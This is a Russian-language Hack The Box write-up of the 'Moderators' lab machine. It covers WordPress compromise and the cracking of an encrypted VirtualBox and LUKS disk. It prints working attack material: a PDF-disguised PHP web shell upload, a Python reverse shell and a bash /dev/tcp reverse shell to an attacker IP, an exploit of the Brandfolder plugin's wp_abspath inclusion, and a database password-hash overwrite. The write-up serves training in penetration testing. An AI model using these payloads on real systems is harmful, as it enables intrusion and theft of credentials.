Хакер - HTB Moderators. Ломаем приложение на WordPress и работаем с шифрованным виртуальным жестким диском
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Точка входа
- Точка опоры
- Продвижение
- Пользователь lexi
- Пользователь john
- Локальное повышение привилегий
- Взлом VirtualBox Disk Encryption
- Virtual Disk Image mount
- Взлом LUKS
В этом райтапе я покажу, как добыть привилегии на сервере через плагины WordPress и взломать шифрованный диск VirtualBox. Но первым делом мы получим веб‑шелл в обход фильтров.
Проходить мы будем тренировочную машину Moderators с площадки Hack The Box. Уровень — «сложный».
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.173 moderators.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Нашли всего два открытых порта: 22 — служба OpenSSH 8.2p1 и 80 — веб‑сервер Apache 2.4.41. Естественно, начинаем с веб‑сервера.

Попробуем поискать скрытые файлы и каталоги.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-u— URL;-w— словарь (я использую словари из набора SecLists);-t— количество потоков;-r— выполнять редиректы.
Место перебора помечается словом FUZZ.
Запускаем:
ffuf -u 'http://moderators.htb/FUZZ' -r -w directory_2.3_medium_lowercase.txt -t 256

Находим каталог logs, но в данный момент он бесполезен. Так как остальные страницы имеют расширение .php, стоит поискать и популярные PHP-файлы.
ffuf -u 'http://moderators.htb/FUZZ.php' -r -w php_files_common.txt -t 256

Доступ ко всем страницам, кроме reports.php, мы можем получить из меню сайта. При обращении к reports.php нас ждет редирект на главную страницу.

ТОЧКА ВХОДА
Читая блог, находим отчет об уязвимости XSS, который и приводит нас на страницу reports.php с параметром report без редиректа.


Так как отчет определяется по номеру, я решил эти номера перебрать. Делать это будем с помощью Burp Intruder.



В итоге находим несколько страниц. Один из отчетов открывает нам новые пути на сайте.

Перебор содержимого каталога logs ничего не дал, тогда я решил пробрутить имя каталога как хеш, вдруг получится найти какую‑нибудь корреляцию.

Так узнаем, что название каталога — это результат хеш‑функции MD5 от номера отчета. Следующее действие — найти все доступные каталоги в logs. Перебирать будем с помощью того же Burp Intruder. Только теперь добавим к нагрузке обработчик, который будет извлекать из числа хеш.



Находим шесть каталогов, содержимое которых, по идее, должно быть идентичным. Тогда я решил перебрать файлы разных форматов, и логичнее всего начать с PDF.
ffuf -u 'http://moderators.htb/logs/e21cece511f43a5cb18d4932429915ed/FUZZ.pdf' -r -w directory_2.3_medium_lowercase.txt -t 256

Находим искомое имя файла — logs.pdf. Вот только сам файл никакой интересной информации не дал.

Но если получить такие файлы со всех каталогов, то наткнемся на единственный содержащий полезную информацию.

И этот отчет раскрывает нам новые пути на сайте. В этот раз мы приходим к странице загрузки отчетов:
http://moderators.htb/logs/report_log_upload.php

ТОЧКА ОПОРЫ
Я попробовал загрузить простой PHP-скрипт:
<?php echo system('id'); ?>
Он должен выполнить команду id. Однако в ответ я получил сообщение, что можно загружать только PDF.

Тогда я решил немного поиграть с форматом PDF, как при способах загрузки шелла в условиях контроля формата картинок. Оставим служебные маркеры PDF-файла, а в качестве содержимого поместим использованную ранее нагрузку.

Получаем сообщение, что файл успешно загружен. Но это возможно, только если расширение файла — .pdf. Тогда я решил использовать двойное расширение файла .pdf.php, так как сервис может неправильно его проверять.

Файл успешно загружен, но с его выполнением возникают проблемы. Немного повозившись с нагрузкой PHP, я решил перейти к проверенному обфусцированному PHP-шеллу — weevely3. Генерируем нагрузку и загружаем на сервер.
python3 weevely.py generate r r.pdf.php


Теперь используем клиент weevely для выполнения команд.
python3 weevely.py 'http://moderators.htb/logs/uploads/r.pdf.php' r

Команда выполнена, а значит, мы можем кинуть полноценный реверс‑шелл на листенер, который запустим командой pwncat_cs -lp 4321.
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.22",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

ПРОДВИЖЕНИЕ
Пользователь lexi
Теперь, когда мы получили доступ к хосту, нам нужно собрать информацию. Для этого я зачастую применяю скрипты PEASS, постоянные читатели с ними хорошо знакомы.
Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате.
Скрипт отображает дерево процессов пользователя lexi, где отмечен запуск веб‑сервера. Эту же информацию можем узнать из списка активных портов.


Чтобы обратиться к сервису на порте 8080, нам нужно этот порт прокинуть, к примеру с помощью chisel. На локальном хосте запустим сервер, ожидающий подключения (параметр --reverse) на порт 5432 (параметр -p).
./chisel.bin server --reverse -p 5432

Теперь на удаленном хосте запустим клиентскую часть. Указываем адрес сервера и порт для подключения, а также параметр туннеля: прокинуть порт 8088 с локального хоста на порт 8080 удаленного.
./chisel.bin client 10.10.14.22:5432 R:8088:localhost:8080

В логах сервера мы должны увидеть сообщение о создании сессии.

Заходим на http://localhost:8088 и видим сайт на WordPress.

Смысла сканировать плагины нет, так как мы имеем доступ к исходным папкам и структуре каталогов. Узнать, какие установлены плагины, мы можем, заглянув в каталог /wp-content/plugins.

Находим плагин для интеграции с Brandfolder и менеджер паролей.
WordPress — плагин Brandfolder
Из файла CHANGELOG можно узнать текущую версию плагина.

Так как мы знаем версию продукта, можно поискать эксплоиты с помощью любого поискового движка, к примеру Google.

Первая же ссылка выводит нас к базе эксплоитов Exploit-DB. И там есть описание уязвимости.

Мы можем манипулировать значением переменной wp_abspath, что позволит подключить произвольные файлы wp-load.php и wp-admin/includes/.... А так как мы имеем доступ к файловой системе, эта уязвимость может дать нам не просто LFI/RFI, а RCE. Давай создадим каталог:
/var/www/html/logs/uploads/ralf
А в нем — подключаемый файл wp-load.php со следующим содержимым.
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.22/6543 0>&1'"); ?>
Теперь, чтобы получить бэкконнект на свой листенер, сделаем запрос по такому адресу:
http://localhost:8080/wp-content/plugins/brandfolder/callback.php?wp_abspath=/var/www/html/logs/uploads/ralf/

У этого пользователя уже есть ключ SSH, который мы благополучно забираем.

А теперь подключаемся по SSH и забираем флаг пользователя.

Пользователь john
WordPress — менеджер паролей
В охоте за учетными данными нам нужно пройти по всем местам, где они потенциально могут храниться. В данном случае сперва из файла wp-config.php мы получаем логин и пароль для подключения к базе данных, которую использует WordPress.

Использовать этот же пароль для второго пользователя не получилось, поэтому подключаемся к базе данных и забираем хеши паролей для брута.
mysql -h localhost -u wordpressuser -D wordpress -pwordpresspassword123!!
select * from wp_users;

Пробрутить эти хеши не получилось, но мы можем пойти дальше, ведь у нас есть плагин для хранения паролей. Чтобы заглянуть в него, нам нужно авторизоваться от имени администратора CMS. Так как мы имеем доступ к базе, можно просто заменить хеш пароля существующего пользователя своим.
WWW
Сгенерировать пароль для WordPress можно на сайте useotools.com.
Я поставил пароль ralf и внес в базу его хеш.
update `wp_users` set `user_pass` = '$P$BjTmd5jwVm0hNn9CO7HEjlNWM.jT/s0' where user_login = 'admin';
Просто так авторизоваться на сайте сразу не получится, поскольку сам сайт будет обращаться к moderators.htb, а не к 127.0.0.1, как указываем мы. Поэтому добавим запись в файл /etc/hosts.
127.0.0.1 localhost moderators.htb
После авторизации открываем страницу с паролями, и там нас ждет готовый ключ SSH.

Сохраняем ключ, назначаем права chmod 0600 id_rsa и подключаемся к хосту.

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
В домашнем каталоге пользователя находим файлы для виртуальной машины VirtualBox, а также копию переписки, в которой и идет речь об этой виртуалке.


Загружаем на локальный хост виртуальную машину и пробуем запустить, но получаем ошибку.
scp -i john_id_rsa john@10.10.11.173:~/stuff/VBOX/* ./

Взлом VirtualBox Disk Encryption
Придется открыть файл vbox и немного поправить. Сперва взглянем на раздел MediaRegistry. Там убираем DVD-привод, убираем жесткий диск Ubuntu.vdi и правим путь к диску 2019.vdi.


И чуть подправим раздел StorageControllers, убрав ненужный диск.


Теперь виртуальную машину можно добавлять в VirtualBox.

Но, как можно было заметить еще в самом конфиге, файл 2019.vdi зашифрован. Поэтому используем pyvboxdie-cracker для брута пароля.
python3 pyvboxdie-cracker.py -v ../2019-08-01.vbox -d ~/tmp/wordlists/Passwords/1.pass_1564.txt

Получаем не только используемый алгоритм, но и пароль — computer. Теперь, если запустить виртуальную машину и ввести пароль, обнаружим, что этот диск не загрузочный. Тогда просто примонтируем раздел к хостовой машине, но сначала расшифруем диск через настройки виртуальной машины.

Снимаем галочку «шифрование дисков», вводим пароль и сохраняем настройки. В информации о виртуальной машине увидим, что надпись рядом с диском изменилась с «Шифрованный» на «Обычный».

Virtual Disk Image mount
Чтобы монтировать виртуальный диск, нам сначала нужно загрузить драйвер Network Block Device.
sudo modprobe nbd
Теперь с помощью qemu-nbd подключим образ диска, а драйвер nbd будет использован для создания блочных устройств и ввода‑вывода при работе с ними.
sudo qemu-nbd -c /dev/nbd0 ./2019.vdi
А теперь мы можем примонтировать раздел /dev/nbd0.
sudo mount /dev/nbd0 /mnt

Но ничего не выходит, так как раздел защищен LUKS.
Взлом LUKS
Linux Unified Key Setup — спецификация формата шифрования дисков, нацеленная на использование в ОС с ядром Linux. Главной целью технологии было обеспечить удобный для пользователя стандартизированный способ управления ключами.
Так как мы уже имеем доступ к самому разделу, мы можем пробрутить его. Для этого будем использовать bruteforce-luks. Чтобы не мучиться со сборкой, загрузим из репозитория готовые исполняемые файлы.
sudo ./bruteforce-luks-static-linux-amd64 -f 1.pass_1564.txt /dev/nbd0

Мы добыли пароль для LUKS, а значит, можем расшифровать и монтировать раздел.
sudo cryptsetup luksOpen /dev/nbd0 newdisk
sudo mount /dev/mapper/newdisk /mnt

На диске есть каталог с проектами — scripts. Первым делом я решил поискать возможные пароли. Так находим пароль, используемый для sudo при обновлении системы.

Возвращаемся на удаленную машину и пробуем найденный пароль sudo.

Машина захвачена, и флаг рута у нас, но еще нужно убрать за собой на своей локальной машине все, что мы намонтировали:
sudo umount /mnt
sudo cryptsetup luksClose /dev/mapper/newdisk
sudo qemu-nbd -d /dev/nbd0
sudo modprobe -r nbd
Теперь точно все!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei